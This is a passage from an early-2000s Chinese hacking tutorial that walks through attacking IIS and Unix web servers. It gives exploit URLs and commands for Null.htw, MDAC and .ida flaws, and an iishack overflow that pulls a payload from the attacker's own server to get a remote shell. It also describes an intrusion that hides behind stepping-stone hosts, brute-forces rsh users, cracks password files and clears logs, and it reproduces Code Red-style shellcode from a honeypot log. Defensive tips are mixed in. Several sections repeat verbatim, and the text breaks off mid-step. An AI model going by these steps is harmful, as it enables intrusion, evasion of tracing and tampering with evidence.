           IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码, global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个“hit-highlighting”功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量: CiWebhitsfile、CiRestriction、CiHiliteType,可通过下列方法传递变量来获得任意asp文件的源代码:
        http://www.sample.com/null.htw?C ... p;CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。
           2、MDAC执行本地命令漏洞:
           这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏洞,就像在今天还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是SYSTEM用户。黑客通过以下办法测试本机是否存在这个漏洞:
           c:/>nc -nw -w 2 <目标机> 80
           GET /msadc/msadcs.dll HTTP
           如果得到信息“application/x_varg”就很有可能存在此漏洞且没有打上补丁,可以使用rain forest puppy网站的两个程序进行测(www.wiretrip.net/rfp)==>mdac.pl和msadc2.pl。
           3、idc、ida 漏洞:
           这个漏洞实际上类似于早期的ASP dot漏洞,其能在IIS4.0上显示WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端,检测漏洞方法是:http://www.sample.com/anything.idc 或者 http://www.sample.com/anything.idq
           4、IIS HACK
           有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点www.technotronic.com中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器。先在自己的WEB服务器上运行WEB服务程序并把ncx.exe放到相应的目录下,然后使用iishack.exe来检查目标机器:c:/>iishack.exe <目标机> 80 <自己的WEB服务器>/ncx.exe
           然后使用netcat来连接要检测的服务器:c:/>nc <目标机> 80,如果溢出点正确,就可以看到目标机器的命令行提示,并且是远程管理权限。
           5、Codebrws.asp和Showcode.asp:
           这是两个IIS4.0附带的阅读文件程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
           (1)Codebrws.asp 和 Showcode.asp默认情况下不安装;
           (2)漏洞仅允许查看文件内容;
           (3)这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制;
           (4)只允许同一分区下的文件可以被查看;
           (5)攻击者需要知道请求的文件名。
           例如你发现存在这个文件并符合上面的要求,则可以请求如下的命令察看asp源代码:
        http://www.sample.com/iisamples/ ... tworks/codebrws.asp
        http://www.sample.com/msadc/samp ... ../../winnt/win.ini
    三、如何防范IIS漏洞:
           由于微软的IIS是一套商业软件,他们并没有公开这套软件的源代码,所以软件的补丁程序只能等待微软公司在它的产品升级主页下载,这比起Apache等开放源代码的应用程序,可能在安全性上体现的更差,这也正是为什么黑客都说“微软的东西玩儿起来没有意思”,因为这个被封闭的很严的软件产品,既没有源代码可供黑客分析,一旦出现了问题也只能做一些基本的操作进行黑客(也就是上面的内容),这对初学黑客的人来说自然是一件好事情,但对高级黑客是不屑一顾的。
           微软公司的主页是http://www.microsoft.com/,但是没有很多人愿意从国外下载软件补丁回来,国内也有很多不错的网络安全主页,例如http://www.xfocus.orghttp://www.nsfocus.com/main.php等都是非常不错的,读者可以到这些站点阅读最新的安全公告或下载升级补丁。
           另外对于codebrws.asp等程序造成的安全问题,这不是产品本身存在漏洞,而属于管理员在安装软件是的疏忽造成的,因此管理员安装完系统之后,一定要使用漏洞扫描软件对自己的系统进行检测,确认没有提供任何存在问题的程序给使用者,对于codebrws.asp等软件如果必须安装,也可以更换文件名或改变它的目录位置,这样黑客就无法从漏洞扫描的途径发现这些文件的存在了。
    四、另一次入侵过程:
           假设这次攻击的目标是www.soft.com,首先使用ping命令察看一下对方系统的应答时间ping www.soft.com
               Pinging www.soft.com [127.168.0.1] with 32 bytes of data:
               Reply from 127.168.0.1: bytes=32 time=425ms TTL=240
               Reply from 127.168.0.1: bytes=32 time=420ms TTL=240
               Reply from 127.168.0.1: bytes=32 time=419ms TTL=240
               Reply from 127.168.0.1: bytes=32 time=421ms TTL=240
           看上去,time还是比较快的,而且通过TTL猜测到对方使用的是Linux之类的系统,比较有挑战性。使用nc命令(NT中提供)登陆到其他主机上,这在黑客里的行话叫“跳板”,我到更觉得像是“借刀杀人”,因为登陆到其他服务器上进行攻击,那么收到攻击的服务器将会纪录下那个黑客登陆的服务器,而不会纪录黑客真正的IP地址,这样一旦追踪起来,黑客的真实位置不容易被发现。
           之后使用端口扫描程序对目标127.168.0.1进行扫描,看看它开放了什么端口:结果是开放了十多个端口,提供的服务越多、服务器存在漏洞的可能性就越大!之后分别用不同的检测方法检测每一个服务可能存在的漏洞,因为我们主要介绍80端口的攻击,所以其他攻击过程在这里设略,直接进行80端口的检测:
    # (echo "head /http/1.0";echo;echo)|./nc -w 3 127.168.0.1 80
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <HTML><HEAD>
    <TITLE>501 Method Not Implemented</TITLE>
    </HEAD><BODY>
    <H1>Method Not Implemented</H1>
    head to /http/1.0 not supported.<P>
    Invalid method in request head /http/1.0<P>
    <HR>
    <ADDRESS>Apache/1.3.9 Server at 127-168-0-1 Port 80</ADDRESS>
    </BODY></HTML>
           看到<ADDRESS>内的系统版本了吗?这说明服务器的确使用的Linux等系统,而且服务器使用的是Apache版本,因为这是一套开放了源代码的软件,所以它被世界上所有顶尖黑客所关注,其中的漏洞很快会被发现,而相应的对策也能够及时出台,所以它从诞生到现在,更新速度是惊人的,其安全程度也是非常惊人的,存在漏洞的希望并不大,作为初学者一般应该放弃,但是我还是介绍一下剩下来的工作,让读者从感性上接触一下黑客攻击的全部过程。
           使用finger调出服务器上的用户列表,如果成功的话则可以使用+ username命令为自己增加一个用户登陆权限。使用下面的脚本将可能的用户列表逐个寻找出来:
               # chmod 700 rsh.sh
               # nohup ./rsh.sh www.targe.com
           这会自动的在/etc/passwd和/etc/shadow里加上finger出来的用户名,再对远程目标127.168.0.1执行rsh命令,成功则返回该用户名,这个操作需要很长的时间,也许是几个小时后也不能获得什么有用的信息,因此这里需要一点点运气。等待一段时间后,读取报告结果:
               # cat ./.rsh.txt
               guest
           报告结果文件“.rsh.txt”中获得了一个guest用户名(初学者很难有如此好的运气),通过rlogin登陆这个用户名看看有什么权限:
               # rlogin -l guest 127.168.0.1
               Last login: Fri Jan 12 03:01:10 from 61.135.50.24
               Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
               The Regents of the University of California. All rights reserved.

               FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 2001
               You have mail.
           到这里,我就已经登陆进入这台服务器了,现在我的权限可能还很小,不过已经能够称的上“入侵”了,后面的内容对初学者来说就真是没有介绍的必要了,因为后面牵扯的大多数命令都是初学者闻所未闻的,因此只做一个大概介绍。如果这个guest具有对/etc/passwd的访问权限,可以将passwd文件读取出来,这是Linux系统下纪录用户名和密码的文件,它的基本格式如下:
               root:*:0:0:Charlie &:/root:/usr/local/bin/bash
               guest:*:1005:2000::/home/www:/usr/local/bin/tcsh
               max:*:1006:1006::/home/max:/usr/local/bin/tcsh
               someone:*:1003:1003::/home/someone:/usr/local/bin/tcsh
           看到这个文件的话,就可以想办法获得shadow文件并利用JOHN等软件破解其中的DES加密密码,那是一个非常有意思的工作,主要是看自己的电脑速度和字典档案的优劣,很多黑客都是非常喜欢在自己的电脑上破解DES密码档案的,可以再一次使用破解出来的用户名登陆服务器,看看它的权限,直到找到最高的权限(完全控制服务器)。
           最后在离开服务器的时候,要清除日志文件,当然因为我们这次进攻是通过跳板的,所以不清楚日志管理员也很难找到我,再说我也没有进行让破坏,所以管理员并不会注意到这次进攻,在他看来只不过使用户guest登陆到服务器上随便看看又下去了。
    五、保护密码:
           对于我们这些拨号上网的用户来说,最怕的就是有居心叵测的黑客对我们进行攻击了,如何能避免个人的利益遭到损坏呢?这里总结了一些我对密码保护的看法和防范密码泄漏的对策,希望对广大读者有一定的作用。
           1、经常修改密码
           密码是我们最重要的个人隐私,如果黑客知道了我们的上网密码或者Email密码,那我们将无任何隐私可言,所以一定要选择一个比较好的密码,同时还要经常更换。一般来说,大多数人喜欢选择一些比较容易记忆的英文单词,这是非常不安全的,黑客不用什么高深的手法,只要用软件进行猜测,用不了半个小时,五位的英文单词就会被他们猜出来,所以一定要选择一个毫无意义的字符排列作为密码。这里有几条规则:
           (1)好的密码应该很长,至少七位或者八位;
           (2)有必要经常更换密码,每月改变一次自己的密码将是非常明智的选择;
           (3)密码不要单独依靠字符、数字,应该尽量混合所有的符号;
           (4)英文字母不要使用单词,应该使用没有任何规律的随机排列;
           (5)不要使用例如生日、电话号码等数字作为密码;
           (6)英文字母应该大小写都出现;
           (7)给出一个比较好的密码形式:x3Fj%tyU
           2、使用“拨号后出现终端窗口”功能
           这种方法的好处是不会将密码文件保存到电脑中,如果让电脑自动完成拨号功能,那么系统将会把您的密码保存到一个扩展名为pwl 的文件中,这样一来,有经验的人很快就可以通过特殊方法获得您的pwl 文件并找到其中的密码。具体使用“拨号后出现终端窗口”的方法如下:
           选中某一连接图标,单击鼠标右键,选“属性- 常规- 配置- 选项- 拨号后出现终端窗口”,然后拨号时,在拨号界面上不要填入用户名和密码(更不要选中“保存密码”项),在出现拨号终端窗口后再进行相应的输入,这可以避免用户名和密码被记录到硬盘上的密码文件中,同时,也可以避免被某些黑客程序捕获用户名和密码。
           3、对付特洛伊木马
           特洛伊木马程序常被定义为当执行一个任务时却实际上执行着另一个任务的程序,典型的一个例子是:伪造一个登录界面,当用户在这个界面上输入用户名和密码时,程序将它们转移到一个隐蔽的文件中,然后提示错误要求用户再输入一遍,程序这时再调用真正的登录界面让用户登录,于是在用户几乎毫无察觉的情况下就得到了记录有用户名和密码的文件。现在互联网上有许多所谓的特洛伊木马程序,像著名的BO、Backdoor、Netbus及国内的Netspy等等。严格地说,它们属于客户机/服务器(C /S )程序,因为它们往往带有一个用于驻留在用户机器上的服务器程序,以及一个用于访问用户机器的客户端程序,就好像NT的Server和 Workstation 的关系一样。
           在对付特洛伊木马程序方面,有以下几种办法:
           (1)多读readme.txt
           许多人出于研究目的下载了一些特洛伊木马程序的软件包,在没有弄清软件包中几个程序的具体功能前,就匆匆地执行其中的程序,这样往往就错误地执行了服务器端程序而使用户的计算机成为了特洛伊木马的牺牲品。软件包中经常附带的readme.txt文件会有程序的详细功能介绍和使用说明,尽管它一般是英文的,但还是有必要先阅读一下,如果实在读不懂,那最好不要执行任何程序,丢弃软件包当然是最保险的了。有必要养成在使用任何程序前先读readme.txt的好习惯。
           值得一提的是,有许多程序说明做成可执行的readme.exe形式,readme.exe往往捆绑有病毒或特洛伊木马程序,或者干脆就是由病毒程序、特洛伊木马的服务器端程序改名而得到的,目的就是让用户误以为是程序说明文件去执行它,可谓用心险恶。所以从互联网上得来的readme.exe最好不要执行它。
           (2)使用杀毒软件
           现在国内的杀毒软件都推出了清除某些特洛伊木马的功能,如KV300 、KILL98、瑞星等等,可以不定期地在脱机的情况下进行检查和清除。
           另外,有的杀毒软件还提供网络实时监控功能,这一功能可以在黑客从远端执行用户机器上的文件时,提供报警或让执行失败,使黑客向用户机器上载可执行文件后无法正确执行,从而避免了进一步的损失。
           (3)立即挂断
           尽管造成上网速度突然变慢的原因有很多,但有理由怀疑这是由特洛伊木马造成的,当入侵者使用特洛伊的客户端程序访问你的机器时,会与你的正常访问抢占宽带,特别是当入侵者从远端下载用户硬盘上的文件时,正常访问会变得奇慢无比。这时,你可以双击任务栏右下角的连接图标,仔细观察一下“已发送字节”项,如果发送字节变化在1 ~3kbps (每秒1 ~3 千字节),几乎可以确认有人在下载你的硬盘文件,除非你正在使用ftp功能。对TCP/IP端口熟悉的用户,可以在“MS-DOS 方式”下键入“netstat -a”来观察与你机器相连的当前所有通信进程,当有具体的IP正使用不常见的端口(一般大于1024)与你通信时,这一端口很可能就是特洛伊木马的通信端口。当发现上述可疑迹象后,你所能做的就是:立即挂断,然后对硬盘有无特洛伊木马进行认真的检查。

    第四章、做几个试验 
    第一节、了解httpd132f的工作原理
           当我们在浏览器的URL内输入了http://127.0.0.1/后,系统会发送一个Socket请求到IP地址为127.0.0.1的系统上,并且占用的80端口,在TCP/IP协议中规定,127.0.0.1地址是“本地系统”,也就是说我们通过浏览器访问自己的系统,如果系统中没有安装httpd132f之类的网站服务程序,那么将没有80端口打开,所以在没有运行 httpd132f的时候,浏览127.0.0.1将会出现“无法找到服务器”的错误提示。
           一旦运行了httpd132f,浏览器内的URL地址将会以“GET 127.0.0.1 HTTP/1.1”的的形式发送到本地80端口,然后由httpd132f程序进行处理,并返回处理结果(数据)。这些工作平时在网络上使用者是看不到的,因为网络服务器不可能将自己内部的数据暴露出来,那样做将是危险的,而我们在自己的系统上安装httpd132f则可以通过httpd132f/ httpd.log文件将所有过程看得一清二楚。
           现在我们在httpd132f/httpd-docs/目录下放置一个index.htm文件,然后通过http://127.0.0.1/index.htm浏览,浏览器上会看到这个index.htm文件,然后打开httpd.log看看里面有什么:
           127.0.0.1 - - [03/Sep/2001:11:26:35 +0900] "GET /index.htm HTTP/1.1" 200 7616
           httpd.log中记录了来访者的IP地址、访问时间、动作(GET)、请求文件、文件操作结果(200)、结果返回长度(7616)。
           这些记录在每一个网站服务器上都有,有些甚至更加详尽,这也正是为什么黑客所做的事情能够被人追查、黑客每次攻击结束要清理日志的原因。如果服务器上没有/index.htm这个文件,那么返回的结果将是:
           127.0.0.1 - - [02/Sep/2001:22:15:12 +0900] "GET /nofile.htm HTTP/1.1" 404 218
           其中的“404”说明文件/nofile.htm没有找到,所以黑客可以通过编写程序判断服务器上是存在某个文件(200)还是不存在某个程序(404)、或者程序没有执行权限(500)等各种扫描程序,这种编程方法和程序代码将会在后面给出来。 第二节、看看黑客在做什么
           好了,现在我们可以上网,让自己的系统真正成为网络上的一台服务器,之后等待……
           这样我们就设置了一台httpd132f服务器,实际上这是一个专门等待黑客来进攻的服务器,因为黑客对这台系统的所有操作都记录在httpd.log文件中,所以学习者可以非常快的了解到黑客究竟在利用什么方法进攻服务器,这种学习方法见效非常快,这在我当初学习黑客的时候,给予了我大量宝贵的黑客进攻资料。
           不用等待多长时间,黑客就来了,他在试图寻找我们这台服务器上的漏洞,看下面的日志文件:
    61.172.14.9 - [02/Sep/2001:16:50:53 +0900] "GET /index.htm HTTP/1.1" 404 218
    61.172.14.9 - [02/Sep/2001:16:58:27 +0900] "GET /cgi-bin/bbs/wwwboard.pl HTTP/1.1" 404 218
    61.172.14.9 - [02/Sep/2001:17:02:53 +0900] "GET /cgi-bin/bbs.pl HTTP/1.1" 404 242
    61.172.14.9 - [02/Sep/2001:17:10:16 +0900] "GET /cgi-bin/guestbook/guestbook.cgi HTTP/1.1" 404 242
    61.172.14.9 - [02/Sep/2001:17:12:51 +0900] "GET /cgi-bin/bbs.cgi HTTP/1.1" 200 1032
    61.172.14.9 - [02/Sep/2001:17:03:42 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 404 218
    61.172.14.9 - [02/Sep/2001:17:03:54 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 404 218
    61.172.14.9 - [02/Sep/2001:17:04:08 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 200 3302
    61.172.14.9 - [02/Sep/2001:17:04:27 +0900] "POST /cgi-bin/bbs.cgi HTTP/1.1" 200 177
    61.172.14.9 - [02/Sep/2001:17:04:30 +0900] "GET /cgi-bin/bbs.cgi?a_method=win&userpsd=test&username=max HTTP/1.1" 200 782
    61.172.14.9 - [02/Sep/2001:17:04:32 +0900] "GET /cgi-bin/bbs.cgi?a_method=list&userpsd=test&username=max HTTP/1.1" 200 4526
    61.172.14.9 - [02/Sep/2001:17:04:42 +0900] "GET /cgi-bin/bbs.cgi?a_method=show&slttitle=2001-09-02.18:04:29&username=macker&userpsd=test HTTP/1.1" 200 5785
    61.172.14.9 - [02/Sep/2001:17:04:58 +0900] "POST /cgi-bin/bbs.cgi HTTP/1.1" 200 177
    61.72.8.41 - [02/Sep/2001:20:38:57 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.79.163.130 - [02/Sep/2001:20:40:27 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.178.15.126 - [02/Sep/2001:20:40:57 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.135.5.75 - [02/Sep/2001:20:43:31 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.135.115.139 - [02/Sep/2001:20:49:09 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.135.115.139 - [02/Sep/2001:20:49:44 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.135.225.12 - [02/Sep/2001:20:53:15 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.188.194.141 - [02/Sep/2001:21:01:50 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.130.51.89 - [02/Sep/2001:21:11:29 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.73.97.116 - [02/Sep/2001:21:24:59 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.74.149.131 - [02/Sep/2001:21:44:17 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
           现在让我们来分析一下吧:
           61.172.14.9 - - [02/Sep/2001:16:50:53 +0900] "GET /index.htm HTTP/1.1" 200 7612
           黑客发现了我们这台服务器,并且通过浏览器观看网站上的/index.htm文件
           61.172.14.9 - - [02/Sep/2001:16:58:27 +0900] "GET /cgi-bin/bbs/wwwboard.pl HTTP/1.1" 404 218
           黑客开始试图寻找服务器上的论坛、免费代码,因为这些程序中会存在漏洞
           61.172.14.9 - - [02/Sep/2001:17:02:53 +0900] "GET /cgi-bin/bbs.pl HTTP/1.1" 404 242
           继续寻找,上面的/cgi-bin/bbs/wwwboard.pl和这里的/cgi-bin/bbs.pl是大多数网站服务器默认的论坛程序
           61.172.14.9 - - [02/Sep/2001:17:10:16 +0900] "GET /cgi-bin/guestbook/guestbook.cgi HTTP/1.1" 404 242
           寻找系统中默认的留言板程序,返回404,仍然没有找到可利用的程序
           61.172.14.9 - - [02/Sep/2001:17:12:51 +0900] "GET /cgi-bin/bbs.cgi HTTP/1.1" 200 1032v       发现了一个/cgi-bin/bbs.cgi的电子留言版
           61.172.14.9 - - [02/Sep/2001:17:03:42 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 404 218
           黑客简单的应用这个程序,它在观看这个留言板并且在尝试着发贴,没有成功
           61.172.14.9 - - [02/Sep/2001:17:03:54 +0900] "GET /cgi-bin/bbs.cgi?a_method=''''''&userpsd=&username= HTTP/1.1" 404 218
           开始用特殊代码替换标准代码,试图找到bbs.cgi程序中的“考虑不周详漏洞”,没有成功
           61.172.14.9 - - [02/Sep/2001:17:04:08 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 200 3302
           常规发表了一篇文件
           61.172.14.9 - - [02/Sep/2001:17:04:27 +0900] "POST /cgi-bin/bbs.cgi HTTP/1.1" 200 177
           发送发表的文章,发送成功
           61.172.14.9 - - [02/Sep/2001:17:04:30 +0900] "GET /cgi-bin/bbs.cgi?a_method=win&userpsd=test&username=macker HTTP/1.1" 200 782
           黑客继续观看bbs.cgi,但是仍然局限在常规操作上
           61.172.14.9 - - [02/Sep/2001:17:04:32 +0900] "GET /cgi-bin/bbs.cgi?a_method=listtitle&userpsd=test&username=macker HTTP/1.1" 200 4526
           继续常规的浏览bbs.cgi,这个时候黑客可能在网络上寻找这个bbs.cgi的源代码,因为有了源代码寻找漏洞将会更加方便
           最后黑客放弃了,因为它没有找到bbs.cgi上的漏洞,当然不会有漏洞,因为bbs.cgi是本人用了两年的时间完善出来的一个论坛,不过如果学习者真想知道网络上的Perl中的漏洞,倒是可以用这种方法来“引诱”黑客进攻,这样你就可以很快了解黑客是利用的什么漏洞了。
           这次来攻击的黑客似乎是个菜鸟,因为它没有使用漏洞扫描器,只不过简单的着了两个比较著名的论坛漏洞,因为我没有在自己的系统上安装那两个论坛,所以这个黑客无能为力了。
           不过后来又闯进来一个黑客,从httpd.log分析这应该是一种蠕虫,每次变换的IP地址和非常特殊的GET请求都看得出来这个程序正在进行分散式溢出攻击,不过这种攻击主要针对IIS等流行的网站服务器程序,对于我使用的httpd132f却没有用处,因为httpd132f中不存在 Null.htw、idc、ida等漏洞,这些漏洞在第三章已经介绍过,它们都是IIS中的典型漏洞,黑客也正是想攻过这些漏洞进行攻击,不过没有成功罢了。

    第三节、自己测试一下
           到网络上下载一个searcher.cgi的搜索引擎源代码,然后放入httpd132f/cgi-bin/searcher/目录下,之后通过浏览器访问http://127.0.0.1/cgi-bin/searcher/searcher.cgi就可以调用这个搜索引擎了,之后我们可以常规的在这个引擎中加入一些网站地址,然后一边浏览引擎页面一边观察httpd.log,很快读者就能够体会到网页浏览、CGI程序调用都是什么样的原理,这比我“纸上谈兵”要感性得多。然后我们来做一些特殊的操作吧。
           通过浏览器进入“登陆网站”页面,然后再网站描述中输入文字“TEST”;之后再做同样的操作,并且在网站描述中输入“<font color=red>TEST</font>”,分别比较两次登陆的信息,会发现第二次的登陆信息是红色的,这是因为使用了HTML的元素<font>,同样利用这些HTML元素可以在输入信息内添加图片、大字体等内容,这样就严重的扰乱的这个搜索引擎的正常功能。
           如何避免这种问题?这在第三章我也略微介绍过,在searcher.cgi中加入下面的判断语句:
               if(($file_name=~/[^a-zA-Z_/.]/)||($file_name=~/^/./))
           这样当以后操作者试图在$file_name变量中输入“<”、“'”等特殊符号的时候,会被程序判断并阻止信息的发送,这样就可以很好的解决Perl中可能出现的问题了。
           但是作为Perl程序开发人员,简单的一两句话是很难全面的介绍各种可能出现的问题的,这就需要程序开发人员在程序运行的过程中严密监视系统日志,一旦发现了特殊的没有考虑到的黑客动作时,便要在最短的时间内将出现的问题进行修复

    三、如何防范IIS漏洞:
           由于微软的IIS是一套商业软件,他们并没有公开这套软件的源代码,所以软件的补丁程序只能等待微软公司在它的产品升级主页下载,这比起Apache等开放源代码的应用程序,可能在安全性上体现的更差,这也正是为什么黑客都说“微软的东西玩儿起来没有意思”,因为这个被封闭的很严的软件产品,既没有源代码可供黑客分析,一旦出现了问题也只能做一些基本的操作进行黑客(也就是上面的内容),这对初学黑客的人来说自然是一件好事情,但对高级黑客是不屑一顾的。
           微软公司的主页是http://www.microsoft.com/,但是没有很多人愿意从国外下载软件补丁回来,国内也有很多不错的网络安全主页,例如http://www.xfocus.orghttp://www.nsfocus.com/main.php等都是非常不错的,读者可以到这些站点阅读最新的安全公告或下载升级补丁。
           另外对于codebrws.asp等程序造成的安全问题,这不是产品本身存在漏洞,而属于管理员在安装软件是的疏忽造成的,因此管理员安装完系统之后,一定要使用漏洞扫描软件对自己的系统进行检测,确认没有提供任何存在问题的程序给使用者,对于codebrws.asp等软件如果必须安装,也可以更换文件名或改变它的目录位置,这样黑客就无法从漏洞扫描的途径发现这些文件的存在了。
    四、另一次入侵过程:
           假设这次攻击的目标是www.soft.com,首先使用ping命令察看一下对方系统的应答时间ping www.soft.com
               Pinging www.soft.com [127.168.0.1] with 32 bytes of data:
               Reply from 127.168.0.1: bytes=32 time=425ms TTL=240
               Reply from 127.168.0.1: bytes=32 time=420ms TTL=240
               Reply from 127.168.0.1: bytes=32 time=419ms TTL=240
               Reply from 127.168.0.1: bytes=32 time=421ms TTL=240
           看上去,time还是比较快的,而且通过TTL猜测到对方使用的是Linux之类的系统,比较有挑战性。使用nc命令(NT中提供)登陆到其他主机上,这在黑客里的行话叫“跳板”,我到更觉得像是“借刀杀人”,因为登陆到其他服务器上进行攻击,那么收到攻击的服务器将会纪录下那个黑客登陆的服务器,而不会纪录黑客真正的IP地址,这样一旦追踪起来,黑客的真实位置不容易被发现。
           之后使用端口扫描程序对目标127.168.0.1进行扫描,看看它开放了什么端口:结果是开放了十多个端口,提供的服务越多、服务器存在漏洞的可能性就越大!之后分别用不同的检测方法检测每一个服务可能存在的漏洞,因为我们主要介绍80端口的攻击,所以其他攻击过程在这里设略,直接进行80端口的检测:
    # (echo "head /http/1.0";echo;echo)|./nc -w 3 127.168.0.1 80
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <HTML><HEAD>
    <TITLE>501 Method Not Implemented</TITLE>
    </HEAD><BODY>
    <H1>Method Not Implemented</H1>
    head to /http/1.0 not supported.<P>
    Invalid method in request head /http/1.0<P>
    <HR>
    <ADDRESS>Apache/1.3.9 Server at 127-168-0-1 Port 80</ADDRESS>
    </BODY></HTML>
           看到<ADDRESS>内的系统版本了吗?这说明服务器的确使用的Linux等系统,而且服务器使用的是Apache版本,因为这是一套开放了源代码的软件,所以它被世界上所有顶尖黑客所关注,其中的漏洞很快会被发现,而相应的对策也能够及时出台,所以它从诞生到现在,更新速度是惊人的,其安全程度也是非常惊人的,存在漏洞的希望并不大,作为初学者一般应该放弃,但是我还是介绍一下剩下来的工作,让读者从感性上接触一下黑客攻击的全部过程。
           使用finger调出服务器上的用户列表,如果成功的话则可以使用+ username命令为自己增加一个用户登陆权限。使用下面的脚本将可能的用户列表逐个寻找出来:
               # chmod 700 rsh.sh
               # nohup ./rsh.sh www.targe.com
